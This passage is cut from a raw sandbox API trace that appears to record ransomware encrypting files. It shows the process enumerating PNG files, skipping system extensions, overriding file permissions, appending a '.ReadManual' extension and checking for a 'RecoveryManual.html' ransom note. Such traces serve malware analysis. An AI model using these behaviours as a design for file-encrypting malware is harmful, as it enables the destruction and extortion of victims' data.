ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.156] lstrcpyW (in: lpString1=0x6ab912, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0254.156] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.156] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.156] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.156] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.156] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.157] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.157] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.157] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.157] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.157] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" [0254.157] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0254.157] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 112 [0254.157] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37482551039) returned 1 [0254.157] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0254.157] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.157] GetLastError () returned 0x5 [0254.157] GetNamedSecurityInfoW () returned 0x0 [0254.157] SetNamedSecurityInfoW () returned 0x0 [0254.158] SetNamedSecurityInfoW () returned 0x0 [0254.158] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.158] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0254.158] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0254.159] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0254.159] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.159] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.160] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.161] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0254.168] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.168] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37483661184) returned 1 [0254.168] CloseHandle (hObject=0x1a0) returned 1 [0254.168] SetSecurityInfo () returned 0x5 [0254.168] SetSecurityInfo () returned 0x5 [0254.168] LocalFree (hMem=0x674d38) returned 0x0 [0254.168] CloseHandle (hObject=0x184) returned 1 [0254.168] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.168] lstrcpyW (in: lpString1=0x6ab912, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0254.168] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.168] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.168] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.168] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.168] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.168] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.168] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.168] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.168] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.169] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.169] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.169] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.169] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.169] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.169] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.169] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.169] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" [0254.169] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0254.169] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 118 [0254.169] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37483757150) returned 1 [0254.169] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.169] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.169] GetLastError () returned 0x5 [0254.169] GetNamedSecurityInfoW () returned 0x0 [0254.169] SetNamedSecurityInfoW () returned 0x0 [0254.170] SetNamedSecurityInfoW () returned 0x0 [0254.170] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.170] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0254.171] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0254.171] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xfc) returned 1 [0254.171] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.171] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.173] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.173] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0254.173] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.173] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37484176143) returned 1 [0254.173] CloseHandle (hObject=0x1a0) returned 1 [0254.173] SetSecurityInfo () returned 0x5 [0254.173] SetSecurityInfo () returned 0x5 [0254.173] LocalFree (hMem=0x674d38) returned 0x0 [0254.173] CloseHandle (hObject=0x184) returned 1 [0254.174] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.174] lstrcpyW (in: lpString1=0x6ab912, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0254.174] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.174] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.174] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.174] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.174] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.174] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.174] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.174] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.174] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" [0254.174] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0254.174] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 109 [0254.174] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37484313393) returned 1 [0254.174] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0254.175] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.175] GetLastError () returned 0x5 [0254.175] GetNamedSecurityInfoW () returned 0x0 [0254.175] SetNamedSecurityInfoW () returned 0x0 [0254.175] SetNamedSecurityInfoW () returned 0x0 [0254.176] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.176] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0254.176] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0254.176] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0254.178] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.178] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.180] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.180] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0254.180] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.180] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37484908573) returned 1 [0254.180] CloseHandle (hObject=0x1a0) returned 1 [0254.180] SetSecurityInfo () returned 0x5 [0254.180] SetSecurityInfo () returned 0x5 [0254.181] LocalFree (hMem=0x674d38) returned 0x0 [0254.181] CloseHandle (hObject=0x184) returned 1 [0254.181] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.181] lstrcpyW (in: lpString1=0x6ab912, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0254.181] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.181] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.181] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.181] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.181] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.181] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.181] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.181] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.181] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" [0254.181] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0254.181] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 115 [0254.181] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37485008770) returned 1 [0254.181] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.182] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.182] GetLastError () returned 0x5 [0254.182] GetNamedSecurityInfoW () returned 0x0 [0254.182] SetNamedSecurityInfoW () returned 0x0 [0254.182] SetNamedSecurityInfoW () returned 0x0 [0254.183] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.183] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0254.183] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0254.183] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0254.184] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.184] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.185] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.185] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0254.185] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.185] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37485419495) returned 1 [0254.185] CloseHandle (hObject=0x1a0) returned 1 [0254.186] SetSecurityInfo () returned 0x5 [0254.186] SetSecurityInfo () returned 0x5 [0254.186] LocalFree (hMem=0x674d38) returned 0x0 [0254.186] CloseHandle (hObject=0x184) returned 1 [0254.186] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0254.186] lstrcpyW (in: lpString1=0x6ab912, lpString2="reflect.png" | out: lpString1="reflect.png") returned="reflect.png" [0254.186] lstrcmpiW (lpString1="reflect.png", lpString2="RecoveryManual.html") returned 1 [0254.186] StrStrIW (lpFirst="reflect.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.186] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.186] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.187] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.187] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.187] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.187] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.187] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.187] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" [0254.187] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.ReadManual.5A595725" [0254.187] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.ReadManual.5A595725") returned 90 [0254.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37485570198) returned 1 [0254.187] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0254.188] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd 